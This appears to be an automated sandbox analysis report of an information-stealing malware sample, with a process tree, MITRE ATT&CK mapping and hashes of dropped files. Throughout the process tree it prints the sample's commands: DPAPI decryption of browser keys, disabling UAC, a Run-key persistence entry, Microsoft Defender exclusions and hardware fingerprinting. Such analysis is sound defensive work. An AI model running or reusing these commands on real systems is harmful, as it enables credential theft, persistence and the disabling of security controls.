  C:\Windows\system32\cmd.exe /d /s /c "powershell.exe Add-Type -AssemblyName System.Security; [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,144,142,23,158,233,210,20,70,151,142,133,181,22,179,158,232,16,0,0,0,30,0,0,0,77,0,105,0,99,0,114,0,111,0,115,0,111,0,102,0,116,0,32,0,69,0,100,0,103,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,13,189,55,254,210,169,41,96,157,222,217,55,43,30,118,221,120,37,242,20,229,58,21,171,237,249,188,143,140,169,27,172,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,205,190,207,10,129,185,134,36,30,154,164,81,90,60,220,92,138,31,128,50,43,118,86,229,79,90,176,92,31,194,232,229,48,0,0,0,48,29,133,147,47,230,109,125,167,237,177,165,121,145,67,54,111,0,163,102,102,104,115,136,109,35,162,100,51,121,233,228,16,212,115,73,169,11,97,6,194,136,77,39,133,119,171,20,64,0,0,0,195,193,138,233,237,156,214,173,137,175,107,154,122,79,193,138,169,127,41,224,22,249,22,255,1,32,91,110,108,133,40,106,172,62,211,174,104,81,81,163,85,205,106,126,90,179,3,178,200,15,230,1,152,163,240,99,71,98,47,101,43,60,148,160), $null, 'CurrentUser')"
  2⤵
  - An obfuscated cmd.exe command-line is typically used to evade detection.
  - Suspicious use of WriteProcessMemory
  PID:3772
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe Add-Type -AssemblyName System.Security; [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,144,142,23,158,233,210,20,70,151,142,133,181,22,179,158,232,16,0,0,0,30,0,0,0,77,0,105,0,99,0,114,0,111,0,115,0,111,0,102,0,116,0,32,0,69,0,100,0,103,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,13,189,55,254,210,169,41,96,157,222,217,55,43,30,118,221,120,37,242,20,229,58,21,171,237,249,188,143,140,169,27,172,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,205,190,207,10,129,185,134,36,30,154,164,81,90,60,220,92,138,31,128,50,43,118,86,229,79,90,176,92,31,194,232,229,48,0,0,0,48,29,133,147,47,230,109,125,167,237,177,165,121,145,67,54,111,0,163,102,102,104,115,136,109,35,162,100,51,121,233,228,16,212,115,73,169,11,97,6,194,136,77,39,133,119,171,20,64,0,0,0,195,193,138,233,237,156,214,173,137,175,107,154,122,79,193,138,169,127,41,224,22,249,22,255,1,32,91,110,108,133,40,106,172,62,211,174,104,81,81,163,85,205,106,126,90,179,3,178,200,15,230,1,152,163,240,99,71,98,47,101,43,60,148,160), $null, 'CurrentUser')
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3352
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v EnableLUA /t REG_DWORD /d 0 /f"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4824
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v EnableLUA /t REG_DWORD /d 0 /f
    3⤵
    - UAC bypass
    PID:2432
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wmic diskdrive get serialnumber"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2388
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic diskdrive get serialnumber
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:2688
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v 13b8f6d34024fc4636e2d825bacb0e793a7d5d134340b544c881313afc263680 /t REG_SZ /d "C:\ProgramData\Update.vbs" /f"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1220
- - C:\Windows\system32\reg.exe
    reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v 13b8f6d34024fc4636e2d825bacb0e793a7d5d134340b544c881313afc263680 /t REG_SZ /d "C:\ProgramData\Update.vbs" /f
    3⤵
    - Adds Run key to start application
    PID:4224
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\.EFFIQeUAUa""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3520
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\.EFFIQeUAUa"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:4120
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -Command Add-MpPreference -ExclusionPath "C:\Windows\System32\Tasks""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2068
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command Add-MpPreference -ExclusionPath "C:\Windows\System32\Tasks"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:1900
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wmic baseboard get serialnumber"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3732
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic baseboard get serialnumber
    3⤵
    PID:2320
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wmic baseboard get serialnumber"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4884
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic baseboard get serialnumber
    3⤵
    PID:448
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "pip install pillow"
  2⤵
  PID:3884
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wmic path win32_computersystemproduct get uuid"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5044
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic path win32_computersystemproduct get uuid
    3⤵
    PID:3332
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wmic PATH Win32_VideoController GET Description,PNPDeviceID"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3548
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic PATH Win32_VideoController GET Description,PNPDeviceID
    3⤵
    PID:4628
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wmic memorychip get serialnumber"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1128
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic memorychip get serialnumber
    3⤵
    PID:2880
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wmic csproduct get uuid"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3800
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic csproduct get uuid
    3⤵
    PID:4048
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wmic cpu get processorid"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2968
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic cpu get processorid
    3⤵
    PID:1560
- C:\Users\Admin\AppData\Local\Temp\python-installer.exe
  C:\Users\Admin\AppData\Local\Temp\python-installer.exe /quiet InstallAllUsers=0 PrependPath=1 Include_test=0 Include_pip=1 Include_doc=0
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:4688
- - C:\Windows\Temp\{F644A6DA-92E2-4BD4-850B-C98115961B37}\.cr\python-installer.exe
    "C:\Windows\Temp\{F644A6DA-92E2-4BD4-850B-C98115961B37}\.cr\python-installer.exe" -burn.clean.room="C:\Users\Admin\AppData\Local\Temp\python-installer.exe" -burn.filehandle.attached=540 -burn.filehandle.self=548 /quiet InstallAllUsers=0 PrependPath=1 Include_test=0 Include_pip=1 Include_doc=0
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Adds Run key to start application
    - System Location Discovery: System Language Discovery
    - Modifies registry class
    PID:3996
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "pip install pyperclip"
  2⤵
  PID:564
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "getmac /NH"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1496
- - C:\Windows\system32\getmac.exe
    getmac /NH
    3⤵
    PID:2920

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\ProgramData\Update.vbs"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3004
- C:\Users\Admin\AppData\Local\Temp\13b8f6d34024fc4636e2d825bacb0e793a7d5d134340b544c881313afc263680.exe
  "C:\Users\Admin\AppData\Local\Temp\13b8f6d34024fc4636e2d825bacb0e793a7d5d134340b544c881313afc263680.exe"
  2⤵
  - Checks computer location settings
  - Loads dropped DLL
  - Drops file in System32 directory
  - Suspicious use of WriteProcessMemory
  PID:4248
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Local\Temp\k2tZ66nHkQ.ps1""
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:224
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Local\Temp\k2tZ66nHkQ.ps1"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of WriteProcessMemory
      PID:220
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\nl42wahv\nl42wahv.cmdline"
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:1824
      - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESB273.tmp" "c:\Users\Admin\AppData\Local\Temp\nl42wahv\CSCE8C381AD77CE463D91C6D6D69C6E71D.TMP"
        6⤵
        
        PID:3816
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "wmic diskdrive get serialnumber"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2568
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic diskdrive get serialnumber
      4⤵
      PID:4588
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5008
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      PID:1140
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4364
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      PID:4500
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell.exe Add-Type -AssemblyName System.Security; [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,144,142,23,158,233,210,20,70,151,142,133,181,22,179,158,232,16,0,0,0,28,0,0,0,71,0,111,0,111,0,103,0,108,0,101,0,32,0,67,0,104,0,114,0,111,0,109,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,220,87,235,231,225,124,145,47,199,32,49,109,251,39,139,84,222,232,125,132,32,20,183,9,216,219,250,206,226,210,85,2,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,224,189,203,148,172,31,165,4,203,240,254,238,245,60,49,80,110,76,163,185,208,168,42,223,249,178,80,137,40,25,123,44,48,0,0,0,176,123,16,167,221,43,36,88,170,129,160,158,242,231,136,33,64,156,3,243,35,232,238,207,223,205,151,237,174,18,225,143,200,82,96,185,172,234,72,142,67,131,22,79,179,182,221,66,64,0,0,0,128,28,107,209,106,30,12,62,1,236,97,87,139,165,248,252,132,235,225,235,235,107,9,175,101,36,47,41,154,243,30,210,115,214,166,242,104,184,7,155,60,251,58,175,220,59,117,185,231,64,220,37,138,109,138,21,187,183,131,77,196,110,106,53), $null, 'CurrentUser')"
    3⤵
    - An obfuscated cmd.exe command-line is typically used to evade detection.
    - Suspicious use of WriteProcessMemory
    PID:4000
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe Add-Type -AssemblyName System.Security; [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,144,142,23,158,233,210,20,70,151,142,133,181,22,179,158,232,16,0,0,0,28,0,0,0,71,0,111,0,111,0,103,0,108,0,101,0,32,0,67,0,104,0,114,0,111,0,109,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,220,87,235,231,225,124,145,47,199,32,49,109,251,39,139,84,222,232,125,132,32,20,183,9,216,219,250,206,226,210,85,2,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,224,189,203,148,172,31,165,4,203,240,254,238,245,60,49,80,110,76,163,185,208,168,42,223,249,178,80,137,40,25,123,44,48,0,0,0,176,123,16,167,221,43,36,88,170,129,160,158,242,231,136,33,64,156,3,243,35,232,238,207,223,205,151,237,174,18,225,143,200,82,96,185,172,234,72,142,67,131,22,79,179,182,221,66,64,0,0,0,128,28,107,209,106,30,12,62,1,236,97,87,139,165,248,252,132,235,225,235,235,107,9,175,101,36,47,41,154,243,30,210,115,214,166,242,104,184,7,155,60,251,58,175,220,59,117,185,231,64,220,37,138,109,138,21,187,183,131,77,196,110,106,53), $null, 'CurrentUser')
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:2892
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell.exe Add-Type -AssemblyName System.Security; [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,144,142,23,158,233,210,20,70,151,142,133,181,22,179,158,232,16,0,0,0,30,0,0,0,77,0,105,0,99,0,114,0,111,0,115,0,111,0,102,0,116,0,32,0,69,0,100,0,103,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,13,189,55,254,210,169,41,96,157,222,217,55,43,30,118,221,120,37,242,20,229,58,21,171,237,249,188,143,140,169,27,172,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,205,190,207,10,129,185,134,36,30,154,164,81,90,60,220,92,138,31,128,50,43,118,86,229,79,90,176,92,31,194,232,229,48,0,0,0,48,29,133,147,47,230,109,125,167,237,177,165,121,145,67,54,111,0,163,102,102,104,115,136,109,35,162,100,51,121,233,228,16,212,115,73,169,11,97,6,194,136,77,39,133,119,171,20,64,0,0,0,195,193,138,233,237,156,214,173,137,175,107,154,122,79,193,138,169,127,41,224,22,249,22,255,1,32,91,110,108,133,40,106,172,62,211,174,104,81,81,163,85,205,106,126,90,179,3,178,200,15,230,1,152,163,240,99,71,98,47,101,43,60,148,160), $null, 'CurrentUser')"
    3⤵
    - An obfuscated cmd.exe command-line is typically used to evade detection.
    - Suspicious use of WriteProcessMemory
    PID:640
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe Add-Type -AssemblyName System.Security; [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,144,142,23,158,233,210,20,70,151,142,133,181,22,179,158,232,16,0,0,0,30,0,0,0,77,0,105,0,99,0,114,0,111,0,115,0,111,0,102,0,116,0,32,0,69,0,100,0,103,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,13,189,55,254,210,169,41,96,157,222,217,55,43,30,118,221,120,37,242,20,229,58,21,171,237,249,188,143,140,169,27,172,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,205,190,207,10,129,185,134,36,30,154,164,81,90,60,220,92,138,31,128,50,43,118,86,229,79,90,176,92,31,194,232,229,48,0,0,0,48,29,133,147,47,230,109,125,167,237,177,165,121,145,67,54,111,0,163,102,102,104,115,136,109,35,162,100,51,121,233,228,16,212,115,73,169,11,97,6,194,136,77,39,133,119,171,20,64,0,0,0,195,193,138,233,237,156,214,173,137,175,107,154,122,79,193,138,169,127,41,224,22,249,22,255,1,32,91,110,108,133,40,106,172,62,211,174,104,81,81,163,85,205,106,126,90,179,3,178,200,15,230,1,152,163,240,99,71,98,47,101,43,60,148,160), $null, 'CurrentUser')
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:1696
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v EnableLUA /t REG_DWORD /d 0 /f"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3236
  - - C:\Windows\system32\reg.exe
      reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v EnableLUA /t REG_DWORD /d 0 /f
      4⤵
      UAC bypass
      PID:2988
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "wmic diskdrive get serialnumber"
    3⤵
    PID:2140
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic diskdrive get serialnumber
      4⤵
      PID:5108
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v 13b8f6d34024fc4636e2d825bacb0e793a7d5d134340b544c881313afc263680 /t REG_SZ /d "C:\ProgramData\Update.vbs" /f"
    3⤵
    PID:1284
  - - C:\Windows\system32\reg.exe
      reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v 13b8f6d34024fc4636e2d825bacb0e793a7d5d134340b544c881313afc263680 /t REG_SZ /d "C:\ProgramData\Update.vbs" /f
      4⤵
      Adds Run key to start application
      PID:4384
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\.RTEXPFslHc""
    3⤵
    PID:3872
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\.RTEXPFslHc"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:452
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell -Command Add-MpPreference -ExclusionPath "C:\Windows\System32\Tasks""
    3⤵
    PID:3248
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command Add-MpPreference -ExclusionPath "C:\Windows\System32\Tasks"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:1700
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "wmic baseboard get serialnumber"
    3⤵
    PID:3980
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic baseboard get serialnumber
      4⤵
      PID:4960
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "wmic baseboard get serialnumber"
    3⤵
    PID:2924
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic baseboard get serialnumber
      4⤵
      PID:4056
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "pip install pillow"
    3⤵
    PID:2512
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "wmic path win32_computersystemproduct get uuid"
    3⤵
    PID:3924
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic path win32_computersystemproduct get uuid
      4⤵
      PID:3544
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "wmic PATH Win32_VideoController GET Description,PNPDeviceID"
    3⤵
    PID:3972
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic PATH Win32_VideoController GET Description,PNPDeviceID
      4⤵
      PID:2264
- - C:\Users\Admin\AppData\Local\Temp\python-installer.exe
    C:\Users\Admin\AppData\Local\Temp\python-installer.exe /quiet InstallAllUsers=0 PrependPath=1 Include_test=0 Include_pip=1 Include_doc=0
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:1744
  - - C:\Windows\Temp\{C1A600E5-2B90-4177-A5EE-A673FBC8106B}\.cr\python-installer.exe
      "C:\Windows\Temp\{C1A600E5-2B90-4177-A5EE-A673FBC8106B}\.cr\python-installer.exe" -burn.clean.room="C:\Users\Admin\AppData\Local\Temp\python-installer.exe" -burn.filehandle.attached=700 -burn.filehandle.self=704 /quiet InstallAllUsers=0 PrependPath=1 Include_test=0 Include_pip=1 Include_doc=0
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      Adds Run key to start application
      System Location Discovery: System Language Discovery
      Modifies registry class
      PID:1952
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "pip install pyperclip"
    3⤵
    PID:2368
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "wmic memorychip get serialnumber"
    3⤵
    PID:2252
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic memorychip get serialnumber
      4⤵
      PID:3524
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "wmic csproduct get uuid"
    3⤵
    PID:4048
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic csproduct get uuid
      4⤵
      PID:2892
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "wmic cpu get processorid"
    3⤵
    PID:3312
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic cpu get processorid
      4⤵
      PID:5080
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "getmac /NH"
    3⤵
    PID:3404
  - - C:\Windows\system32\getmac.exe
      getmac /NH
      4⤵
      PID:2916

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
- Badlisted process makes network request
- Enumerates connected drives
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
PID:1244

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s PcaSvc
1⤵
PID:448

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Modify Registry

T1112

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Peripheral Device Discovery

T1120

Process Discovery

T1057

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

e58c4c6.rbs

Path C:\Config.Msi\e58c4c6.rbs
Size 8KB
SHA256 425eb06c012ccb19c833dcfeee716955a39eb4b7b9dbad03d811300990348e93
MD5 f36643408a9b98ad4543fe18bae18415
SHA1 83c96c0fd52ddfcd41230a9448339dfc3e1e247e
SHA512 9d9e61889f7827f137918f6bd85a8a3232157cae449f593d1128c11fb64b3bd096453b023782652ee4f7f970fc8dfa59e406b1d69a68fb2a44d8bf8b51afbcb2
SSDEEP 96:PmNf8VLMCwrtHe+0D+U6iXBMZgCsTl5U6iXBMZgC6j9CaTnTloTPOyraai89m11G:uaMbefRzBMZHIgzBMZHaE50pQ
TLSH
T13D0243403352CA92E455133B975B2B447FE6E6FCE220276B448D85AC0F1279DEF9E1CA
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Update.vbs

Path C:\ProgramData\Update.vbs
Size 170B
SHA256 ff1b095eb6f384daca3fe79f33896c364546ae11b02993f8aa820128fe4d0380
MD5 98207b5d7796aa1085683c03b7a70de9
SHA1 914c21cebe7f3b542c8e16c1414db447246d5724
SHA512 d383e21a0ad1997987bed0799e002cd4090268174ba35b9ae2f242c24929ba923d1a5a8d49a82216c6f83ec8add0e94ddd9a279e621404d4f7b21d81b6cf6c1d
TLSH
T1EDC0801BFC1FCF14048699A20371041D47101849764755204700DC1451456199767717
MD5 SHA1 SHA512 TLSH

Submit Download

passwords.db

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\passwords.db
Size 40KB
SHA256 06aeb2f9c1ee642348c091fb27541c143545354c273055ce30832e0f61aedf81
MD5 ba979c77c714b67908bc582ec373c723
SHA1 ff6b59b47b8d3ad488eaa7a4b0040a9a93eb19fe
SHA512 fc6b860dcb9e00c6ab7aa72555fb17921bbb8b1276acf0ab5fcb20b5f2dbd4bf71946c5c4fcfc46310f8de29491a63e46d43805070d19f290070f60077f80b01
SSDEEP 96:wDaCn8MouB6w9fUP8iZqmvJKLPeymwil:wDaG7Iw9f/iSi
TLSH
T16103440F2E682801C8B94632BCF124E62E7DA03E4F13EED12CB504659D75C52B52E5EF
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

webdata.db

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\webdata.db
Size 138KB
SHA256 3c8c0f7aad84f267a4b3ab4a160c51d73c184680c610ea05e91880137c028b3f
MD5 02ae92575ef0af2d24e8d554a12db686
SHA1 223239119452390e905a1a68b5b6f09d159d85e7
SHA512 bb29d751d5479a8b75176dcbc4c0830094f3f9878d38e2fff961dc1fc40f07b1d21c91894dd30c2221caa6a7bbd7c6925bec0a38053f3b2763f10a0015df8a1e
SSDEEP 192:9B+XuvBnl3JsueMEGvIW1/rcP2O3pX6rq3VumXwkA:zeuvBnhJsueMEGvIW1DcP2OxhVumXnA
TLSH
T168D3974B3A743002EDE59A721CE054BB5E3C717D4F52A5D428B620588EF2963B23D4BF
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55
MD5 2f57fde6b33e89a63cf0dfdd6e60a351
SHA1 445bf1b07223a04f8a159581a3d37d630273010f
SHA512 42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220
TLSH
T15F51EE323375B1D8C9167F071E68198053BF4355EAA4AF1CB69C625EDD2640B9F222F3
MD5 SHA1 SHA512 TLSH

Submit Download

Web.db

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Web.db
Size 224KB
SHA256 d781b56555e65272ef4019de8706cba5042fb7afcf0f6e2ca56183ca9567ba8e
MD5 710df06c7732247ac90a924171429a31
SHA1 74ca20f5987e39ea08d3765803fa25a9638eddea
SHA512 446dcaa944760f53b09f2112d434f8436ccaffcd7e6e270f699068161a7113f9c0b71de8f4e634bdccebb2364c6976c818fae12adb83c006fe1cce421a690c02
SSDEEP 192:f+xj3fT8w0QQnG2IMW1hPJubRd6vPtcdCewdbsc7V1VJ:2B3fQ9QQn7IMW1hPJuVd6vPkxW
TLSH
T1DD24640A7B787001EDE3D9725CB080771E3CA16D8F22A6915DB654694EB2853A23D8EF
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

passwords.db

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\passwords.db
Size 56KB
SHA256 a36a4989ed48954499586d6551e61d6bccfc7bee269b4eab0bb836e394c24c7c
MD5 f92de240ae86100670164298edba43f2
SHA1 5d9ede7e7743e75344ee7f996456693f82896e5d
SHA512 2e6b9cbd04baf609d91a0583d742b19c5dc6dd7b334349fac1a71563c140075408fe881388e1fff72f5c1c0124d0603d54d35f5039c544ee9c1350b4e1684c21
SSDEEP 96:/kS/KLPeymOoizhGNOnfmG38tmvJHbn8MouB6w9fUPnP:B4oizhGNOnDV77Iw9fK
TLSH
T15E43651F1B682802C8698632BCB194F36F7CA13E8F639E922CB044359D75852B12D5FB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download